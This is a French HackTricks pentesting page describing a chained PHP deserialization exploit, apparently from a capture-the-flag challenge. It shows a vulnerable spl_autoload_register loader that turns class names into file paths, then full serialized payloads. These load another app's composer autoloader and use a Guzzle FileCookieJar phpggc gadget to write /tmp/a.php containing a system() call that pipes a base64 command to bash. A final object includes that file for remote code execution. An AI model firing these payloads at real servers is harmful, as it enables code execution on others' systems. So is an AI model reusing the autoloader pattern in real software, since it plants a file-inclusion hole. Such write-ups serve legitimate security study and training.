hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

8.3 KiB

PHP - Désérialisation + Chargement Automatique de Classes

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Formation AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Formation GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

Tout d'abord, vous devriez vérifier ce que sont les Classes de Chargement Automatique.

Désérialisation PHP + spl_autoload_register + LFI/Gadget

Nous sommes dans une situation où nous avons trouvé une désérialisation PHP dans une webapp sans aucune bibliothèque vulnérable aux gadgets à l'intérieur de phpggc. Cependant, dans le même conteneur, il y avait une autre webapp composer avec des bibliothèques vulnérables. Par conséquent, l'objectif était de charger le chargeur composer de l'autre webapp et de l'exploiter pour charger un gadget qui exploitera cette bibliothèque avec un gadget de la webapp vulnérable à la désérialisation.

Étapes :

  • Vous avez trouvé une désérialisation et il n'y a pas de gadget dans le code de l'application actuelle
  • Vous pouvez abuser d'une fonction spl_autoload_register comme suit pour charger n'importe quel fichier local avec l'extension .php
  • Pour cela, vous utilisez une désérialisation où le nom de la classe sera à l'intérieur de $name. Vous ne pouvez pas utiliser "/" ou "." dans un nom de classe dans un objet sérialisé, mais le code est en train de remplacer les traits d'union ("_") par des barres obliques ("/"). Ainsi, un nom de classe tel que tmp_passwd sera transformé en /tmp/passwd.php et le code essaiera de le charger.
    Un exemple de gadget sera : O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} Si vous avez un téléchargement de fichier et que vous pouvez télécharger un fichier avec une extension .php, vous pourriez abuser de cette fonctionnalité directement et obtenir déjà un RCE. {% endhint %}

Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du même conteneur une autre page web composer avec une bibliothèque vulnérable à un gadget phpggc.

  • Pour charger cette autre bibliothèque, vous devez d'abord charger le chargeur composer de cette autre application web (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). Connaissant le chemin de l'application, vous pouvez y parvenir très facilement avec : O:28:"www_frontend_vendor_autoload":0:{} (Dans mon cas, le chargeur composer était dans /www/frontend/vendor/autoload.php)
  • Maintenant, vous pouvez charger le chargeur composer de l'autre application, donc il est temps de générer le phpgcc payload à utiliser. Dans mon cas, j'ai utilisé Guzzle/FW1, ce qui m'a permis de écrire n'importe quel fichier dans le système de fichiers.
  • REMARQUE : Le gadget généré ne fonctionnait pas, pour qu'il fonctionne, j'ai modifié ce payload chain.php de phpggc et défini tous les attributs des classes de privé à public. Sinon, après avoir désérialisé la chaîne, les attributs des objets créés n'avaient aucune valeur.
  • Maintenant, nous avons le moyen de charger le chargeur composer de l'autre application et d'avoir un payload phpggc qui fonctionne, mais nous devons faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
  • Vous pouvez voir d'abord le chargeur être chargé puis le payload

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • Maintenant, nous pouvons créer et écrire un fichier, cependant, l'utilisateur ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web. Donc, comme vous pouvez le voir dans le payload, PHP appelle system avec un base64 qui est créé dans /tmp/a.php. Ensuite, nous pouvons réutiliser le premier type de payload que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre webapp pour charger le fichier généré /tmp/a.php. Il suffit de l'ajouter au gadget de désérialisation :

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

Résumé de la charge utile

  • Charger l'autoload de composer d'une autre webapp dans le même conteneur
  • Charger un gadget phpggc pour abuser d'une bibliothèque de l'autre webapp (la webapp initiale vulnérable à la désérialisation n'avait pas de gadget dans ses bibliothèques)
  • Le gadget va créer un fichier avec une charge utile PHP dessus dans /tmp/a.php avec des commandes malveillantes (l'utilisateur de la webapp ne peut pas écrire dans aucun dossier de aucune webapp)
  • La dernière partie de notre charge utile va charger le fichier PHP généré qui exécutera des commandes

J'ai dû appeler cette désérialisation deux fois. Dans mes tests, la première fois le fichier /tmp/a.php a été créé mais pas chargé, et la deuxième fois il a été correctement chargé.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}